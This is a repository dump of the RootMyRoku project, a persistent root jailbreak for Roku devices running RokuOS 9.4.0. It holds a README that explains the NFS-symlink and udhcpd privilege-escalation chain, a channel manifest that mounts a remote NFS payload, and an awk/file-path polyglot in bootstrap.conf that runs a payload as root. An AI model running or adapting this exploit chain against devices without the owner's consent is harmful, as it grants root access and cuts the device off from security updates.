Repository: llamasoft/RootMyRoku Branch: main Commit: 01111ee93967 Files: 15 Total size: 31.5 KB Directory structure: gitextract_i6yt6_bi/ ├── README.md ├── local/ │ ├── README.md │ ├── components/ │ │ └── StatusScreen.xml │ ├── manifest │ └── source/ │ └── Main.brs ├── remote/ │ ├── README.md │ ├── bootstrap.conf │ ├── components/ │ │ ├── StatusScreen.brs │ │ └── StatusScreen.xml │ ├── manifest │ ├── payload.sh │ ├── resolv.sh │ └── source/ │ └── Main.brs └── server/ ├── README.md └── setup.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # Root My Roku A persistent root jailbreak for RokuOS v9.4.0 build 4200 devices using a Realtek WiFi chip. A big thank you to ammar2 and popeax from the [Exploitee.rs](https://exploitee.rs/) Discord for helping discover and develop this. ## Features - Spawns a telnet server running as root on port 8023. - Enables the low-level hardware developer mode. - Adds many new secret screens and debug features to the main menu. - *Blocks channel updates, firmware updates, and all communication with Roku servers.* ## Usage 1. Download any new channels you might want to use after the jailbreak. Once you jailbreak your device, all communication with Roku's servers will be blocked. Any channels you currently have installed should continue to work. Please see the F.A.Q. below for details. 1. Enable [Developer Settings](https://developer.roku.com/docs/developer-program/getting-started/developer-setup.md#step-1-set-up-your-roku-device-to-enable-developer-settings) on your Roku device. 1. Download the latest `dev-channel.zip` from the [releases page](https://github.com/llamasoft/RootMyRoku/releases/latest). 1. Upload `dev-channel.zip` using the guide from the previous step. 1. Follow the prompts on screen, then reboot to jailbreak! ## Applications * Using a Roku TV to drive ambient lighting: https://www.youtube.com/watch?v=V_enynuw-rc ([details](https://blog.ammaraskar.com/roku-tv-philips-hues/)). ## F.A.Q. ### Which devices does this affect? Affected devices include _almost all_ Roku TVs and some Roku set-top boxes. In theory, any Roku device running RokuOS v9.4.0 build 4200 or earlier that uses a Realtek WiFi chip is vulnerable. You can check your current software version from Settings -> System -> About. While it is not possible to manually check your WiFi chip manufacturer, the channel provided for this exploit will tell you if your device is vulnerable or not. ### Can this brick my device? No! It makes no changes to the underlying firmware that the device runs. If anything bad happens, a [factory reset](https://support.roku.com/article/208757008) will always recover your device. ### How do I un-jailbreak my device? You have two options: - Factory reset your device. This will clear NVRAM and remove the jailbreak. - Using the telnet server on port 8023, delete `/nvram/udhcpd-p2p.conf` and reboot. ### Is Roku aware of this exploit? Some of the critical components required for the exploit chain no longer work in RokuOS v10. The NFS mount option that is used for arbitrary file modification gets disabled, and the service used for persistence and privilege escalation is no longer used. While RokuOS v10 has started rolling out, many devices have not received the update yet. ### Why does the jailbreak block communication with Roku servers? This is a precautionary measure to prevent the jailbreak from being disabled or removed. In the past, Roku has taken some _creative_ measures to forcefully patch jailbroken devices. One such example was an update to the screensaver channel that would check for a telnet service, connect to it, and command it to un-root and update the device. Unfortunately, the servers used for channel and firmware updates the same ones used to communicate with Roku in general. Blocking updates means that no new channels can be installed and that certain features like "My Feed" and "Search" will no longer work. Applications that communicate with other services (e.g. YouTube, Netflix, HBO) will still work. ### How can I prevent my non-jailbroken Roku from updating? Edit your modem/router's DNS settings to use the IP address of `dns.rootmyroku.com`. You can find the current IP address using `nslookup`, `dig`, or [online DNS lookup tools](https://dnstools.ws/lookup/dns.rootmyroku.com/A/). ### Why should I trust the code you execute on my device? You don't have to! All of the files required to reproduce this exploit are available in this repo: - The local channel used to load the remote payload is available under `local`. - The remote payload loaded over NFS is available under `remote`. - The script used to create the NFS and DNS servers are available under `server`. ## Exploit Details There's two main vulnerabilities that make this exploit possible: arbitrary file modification and privilege escalation. RokuOS actually does a decently good job at sandboxing channels to prevent them from accessing the underlying filesystem. In addition to running as a restricted user, a software sandbox, and a chroot jail, Roku's Linux kernel has [grsecurity patches](https://grsecurity.net/) applied. These patches mitigate common exploit techniques used in jailbreaks and privilege escalation. Furthermore, the entire root filesystem is read-only and baked into the firmware. Only persistent storage (NVRAM) and temp directories are writable. ### Arbitrary File Modification Two things conspired to allow arbitrary file modification. The first was that an undocumented `pkg_nfs_mount` [channel manifest](https://developer.roku.com/en-gb/docs/developer-program/getting-started/architecture/channel-manifest.md) option. This option was meant to reduce the software development lifecycle when creating a channel by allowing the channel's source code to be hosted on a different machine using [NFS](https://en.wikipedia.org/wiki/Network_File_System). This removes the need to re-package and re-upload channels after every code change. The second was a shortcoming of the grsecurity patches and the Linux kernel in general: symlinks over NFS act weird. While grsecurity was configured specifically to not allow symlinking to directories owned by other users, the ownership and permission checks no longer work properly when the symlink resides on an NFS mount. This allows us to create a symlink in the remote channel's package that points to the root of the main filesystem. (See [`remote/source/Main.brs`](/remote/source/Main.brs) for details.) This provided us with the ability to modify persistent storage and temp files, but only as the app user. ### Privilege Escalation From there, we discovered that the process that configures udhcpd (a DHCP service used for pairing speakers and remotes) for Realtek chipsets could be made to read a config file from NVRAM, a location that the app user has access to. If we could leverage it properly, it would let us manipulate a service running as the root user and also give us a means of persisting across reboots. Thankfully, udhcpd has an option for executing a script (`notify_file`) with a single parameter (`lease_file`) whenever a DHCP lease is created. It wasn't perfect though: the udhcpd service would only run the script if it has the "execute" bit set. While we could create arbitrary files using our previous exploit, we didn't have control over the file's permissions and as a result, none of the payload scripts we create are marked as executable. To make matters more difficult, we couldn't pass the payload script as `lease_file` to the built-in shell executables because udhcpd would overwrite the script contents first. Ultimately, the solution involved creating a `lease_file` value polyglot that is both an AWK script and a legal file name. (See [`remote/bootstrap.conf`](/remote/bootstrap.conf) for details.) ## Footnote If anyone at Roku is reading this: you desperately need a _real_ bug bounty program. Without one, there's little incentive to research and report vulnerabilities when you're not sure if you'll be rewarded for your efforts or not. While we took this project on for fun as a hobby, almost no professional security researchers are going to dedicate as much effort as we did for a "maybe". ================================================ FILE: local/README.md ================================================ This is the source code for the "local" component of the jailbreak. When zipped and uploaded as a channel, this connects to the "remote" component of the jailbreak over NFS. Key files: - [`manifest`](./manifest) is the channel manifest that file enables the NFS mounting of the remote component. - [`source/Main.brs`](./source/Main.brs) is the BrightScript file that will execute if the NFS mount fails or is patched. ================================================ FILE: local/components/StatusScreen.xml ================================================ ================================================ FILE: local/manifest ================================================ title=Root My Roku major_version=9 minor_version=4 build_version=4200 ## Channel Assets ### Main Menu Icons / Channel Poster Artwork #### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png mm_icon_focus_hd=pkg:/images/channel-poster_hd.png mm_icon_focus_sd=pkg:/images/channel-poster_sd.png ### Splash Screen + Loading Screen Artwork #### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg splash_screen_hd=pkg:/images/splash-screen_hd.jpg splash_screen_sd=pkg:/images/splash-screen_sd.jpg # This is where the magic happens. # Normally Linux grsec prevents us from following symlinks to directories # we don't own, but almost all of the grsec security checks fail when # the symlink resides on an NFS mount. # NOTE: pkg_nfs_mount requires an IP address, not a domain name. # The value below is the IP address that nfs.rootmyroku.com resolves to. pkg_nfs_mount=193.122.148.131:/exports/940E04200 ================================================ FILE: local/source/Main.brs ================================================ Sub Main() screen = CreateObject("roSGScreen") m.port = CreateObject("roMessagePort") screen.setMessagePort(m.port) scene = screen.CreateScene("StatusScreen") screen.show() m.status = scene.FindNode("statusLabel") m.status.text = "If you're seeing this, the NFS mount failed or the exploit was patched. :(" Stop While True event = wait(30000, m.port) event_type = type(event) If event_type = "roSGScreenEvent" Then ' When the screen is closed, shut everything down. If event.isScreenClosed() Then Return End If End If End While End Sub ================================================ FILE: remote/README.md ================================================ This is the source code for the "remote" component of the jailbreak. ***This is where the magic happens.*** The contents of this directory will be loaded over NFS by the "local" component. Key files: - [`source/Main.brs`](./source/Main.brs) is the BrightScript file that uses a symlink exploit to install the jailbreak files. - `root` a symlink used to access the device's internal storage. This symlink can't be checked in or uploaded properly. If you wish to reproduce this exploit yourself, you'll need to create it manually. (Hint: `cd remote && ln -s / root`) - [`bootstrap.conf`](./bootstrap.conf) is the udhcpd config used to bootstrap the jailbreak process. This file is used only once, and only to execute the jailbreak payload after the first reboot. - [`payload.sh`](./payload.sh) is the primary jailbreak payload. It replaces the bootstrap udhcpd config with one that allows udhcpd to continue functioning normally. It's also responsible for enabling developer mode, the telnet server, and the Roku-blocking DNS. - [`resolv.sh`](./resolv.sh) blocks communication with Roku servers by updating the device's DNS settings. ================================================ FILE: remote/bootstrap.conf ================================================ # udhcpd allows you to specify an executable to notify whenever the lease file is updated. # It will call the `notify_file` executable and pass `lease_file` as the only parameter. # However, it has a few critical limitations: # - The `notify_file` target must have the execute bit set. # This is actually a major hurdle. # While we can copy/write to arbitrary files, we can't control # the resulting file's permissions. As a consequence, the files # we write to /nvram always never have their execute bit set. # - udhcpd uses `execvp` to call `notify_file`, so we have access to # exactly ONE parameter (i.e. `lease_file`) regardless of whitespace. # This means things like `/bin/sh -c "commands to run"` won't work. # - The contents of `lease_file` will be overwritten before calling `notify_file`. # This means we can't use `/bin/sh /path/to/script.sh` because udhcpd # will clobber the contents of our script before it ever gets executed. # - The value of `lease_file` must be a path that udhcpd can write to. # If it fails to write to `lease_file` then it won't call `notify_file`. # The file itself doesn't need to exist in advance, but udhcpd can't # create directories so it must be placed somewhere udhcpd can write. # The solution is an awk script + file path polyglot: # - Start with a pattern match (`/tmp/;`) that executes nothing. # This makes the entire awk script look like a file path under /tmp. # From this point on, we can no longer use front-slahes otherwise # it will be interpreted as subdirectories. # We work around this by creating a front-slash using sprintf # and using string concatination to generate a system command. # - awk normally reads input via file name arguments and/or stdin, # but udhcpd won't be passing any additional arguments. # This means that the core of the awk script must be inside a `BEGIN` # block which executes before any input processing takes place. # As a side note, we must manually exit awk. If we reach the end of # the `BEGIN` block, it will hang when attempting to consume stdin. # This in turn causes udhcpd to hang waiting for `notify_file` to finish. # - Lastly, we need to manually chmod +x the exploit payload # because the execute bit will be missing. # Behold! (I'm actually pretty proud of this.) notify_file /usr/bin/awk lease_file /tmp/; BEGIN { fs=sprintf("%c",47); system("chmod +x "fs"nvram"fs"payload.sh && "fs"nvram"fs"payload.sh"); exit(0); } # udhcpd calls `notify_file` whenever a new lease is created or every `auto_time` seconds. # We need the exploit payload to run before Application launches. # To accomplish this, we set the `auto_time` value to a small value # so that it triggers very early in the boot process. # The exploit payload will update the udhcpd config file # so that the small `auto_time` value is only used once. auto_time 1 # A fallback interface in case we couldn't find one during installation. interface wlan1 # Make sure this file ends with an empty line. # An `interface` line will be appended during startup # and we need to make sure that it doesn't accidentally # get appended to one of our directives. ================================================ FILE: remote/components/StatusScreen.brs ================================================ Sub init() m.status = m.top.FindNode("status") m.status.font.size = 36 m.spinner = m.top.FindNode("spinner") m.spinner.poster.uri = "pkg:/images/spinner.png" m.spinner.poster.observeField("loadStatus", "moveSpinner") setBusyState(False) m.top.ObserveField("text", "onTextUpdate") m.top.ObserveField("busy", "onBusyUpdate") m.top.SetFocus(True) End Sub Sub onTextUpdate(event As Object) event_type = Type(event) If event_type = "roSGNodeEvent" Then m.status.text = event.GetData() End If End Sub Sub moveSpinner(event As Object) ' Relocates the spinner to the bottom right corner. ' We don't have access to the spinner's dimensions until the image finishes loading. If m.spinner.poster.loadStatus = "ready" Then screen_right = 1280 - m.spinner.poster.bitmapWidth * 1.25 screen_bottom = 720 - m.spinner.poster.bitmapHeight * 1.25 m.spinner.translation = [screen_right, screen_bottom] End If End Sub Sub onBusyUpdate(event As Object) setBusyState(event.GetData()) End Sub Sub setBusyState(busy As Boolean) If busy Then m.spinner.poster.rotation = 0 m.spinner.visible = True m.spinner.control = "start" Else m.spinner.visible = False m.spinner.control = "stop" End If End Sub Sub onKeyEvent(key As String, pressed As Boolean) As Boolean ' Observe and note all witness key events. ' This is done so the main method can "observe" our lastKeyEvent field ' because the main method has no direct access to onKeyEvent calls. m.top.lastKeyEvent = { key: key, pressed: pressed } ' Pretend like we didn't handle the key so the event propagates. Return False End Sub ================================================ FILE: remote/components/StatusScreen.xml ================================================